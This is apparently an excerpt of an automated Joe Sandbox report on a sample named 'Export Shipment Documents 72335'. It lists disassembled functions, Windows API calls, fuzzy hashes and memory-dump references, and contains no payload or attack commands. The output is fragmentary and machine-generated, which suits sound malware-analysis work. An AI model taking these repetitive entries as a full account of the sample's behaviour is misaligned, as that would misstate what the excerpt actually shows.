                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3741023627-0
                                                                                                                                                                                                          • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                                                                          • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                                                                                                                                                                                                          Function 00455505 Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: DeleteDestroyObject$IconMessageSendWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1489400265-0
                                                                                                                                                                                                          • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                                                                          • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                                                                                                                                                                                                          Function 0045551F Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1042038666-0
                                                                                                                                                                                                          • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                                                                          • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                                                                                                                                                                                                          Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2625713937-0
                                                                                                                                                                                                          • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                                                          • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                                                                                                                                                          Function 004140CF Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                                                          • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                                                            • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                                            • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                                            • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                                          • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                                                            • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                                          • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                                                            • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                                                          • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                                                          • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 132634196-0
                                                                                                                                                                                                          • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                                                                          • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                                                                                                                                                                                                          • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                                                                                                                                                                                                          Function 00415601 Relevance: 7.5, APIs: 5, Instructions: 23threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                                                                                                                                                                                            • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                                                                          • __getptd_noexit.LIBCMT ref: 00415620
                                                                                                                                                                                                          • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                                                                                                                                                                                                          • __freeptd.LIBCMT ref: 0041563B
                                                                                                                                                                                                          • ExitThread.KERNEL32 ref: 00415643
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3798957060-0
                                                                                                                                                                                                          • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                                                                          • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                                                                                                                                                                                                          Function 0041567F Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                                                          • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                                                            • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                                            • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                                            • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                                          • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                                                            • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                                          • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                                                            • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                                                          • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                                                                          • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1537469427-0
                                                                                                                                                                                                          • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                                                                          • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                                                                                                                                                                                                          Function 0040AB16 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 423COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _malloc
                                                                                                                                                                                                          • String ID: Default$|k
                                                                                                                                                                                                          • API String ID: 1579825452-2254895183
                                                                                                                                                                                                          • Opcode ID: 3487a4ebd3b6326aef9d7885c20b94cf9b3333ebd549fd878091b2165ba8d13b
                                                                                                                                                                                                          • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3487a4ebd3b6326aef9d7885c20b94cf9b3333ebd549fd878091b2165ba8d13b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                                                                                                                                                          Function 0044F0B1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _memcmp
                                                                                                                                                                                                          • String ID: '$[$h
                                                                                                                                                                                                          • API String ID: 2931989736-1224472061
                                                                                                                                                                                                          • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                                                                          • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                                                                                                                                                                                                          Function 0044F1F5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _strncmp
                                                                                                                                                                                                          • String ID: >$R$U
                                                                                                                                                                                                          • API String ID: 909875538-1924298640
                                                                                                                                                                                                          • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                                                                          • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                                                                                                                                                                                                          Function 0046CDA0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                                                                          • CoInitialize.OLE32(00000000), ref: 0046CE18
                                                                                                                                                                                                          • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 0046CE31
                                                                                                                                                                                                          • CoUninitialize.OLE32 ref: 0046CE50
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                                                          • String ID: .lnk
                                                                                                                                                                                                          • API String ID: 886957087-24824748
                                                                                                                                                                                                          • Opcode ID: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                                                                                                                          • Instruction ID: 09ec1e36491b9dee8eccbfa157b0fc1a83632a56aae6c10d58f94140378ad3aa
                                                                                                                                                                                                          • Opcode Fuzzy Hash: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D3A1ABB5A042019FC704EF64C980E6BB7E9EF88714F14895EF8849B392D735EC45CBA6
                                                                                                                                                                                                          Function 00469BED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcslen
                                                                                                                                                                                                          • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                                                                                                                                          • API String ID: 176396367-557222456
                                                                                                                                                                                                          • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                                                                          • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                                                                                                                                                                                                          Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                                                                                                                                                          • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                                                                                                                                                          • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Variant$ClearCopyInit_malloc
                                                                                                                                                                                                          • String ID: 4RH
                                                                                                                                                                                                          • API String ID: 2981388473-749298218
                                                                                                                                                                                                          • Opcode ID: 4feaa528d6096a3eb4cb9403f6e39e38e90fdea1ed4b6218c2cb6dc4c25be61b
                                                                                                                                                                                                          • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4feaa528d6096a3eb4cb9403f6e39e38e90fdea1ed4b6218c2cb6dc4c25be61b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
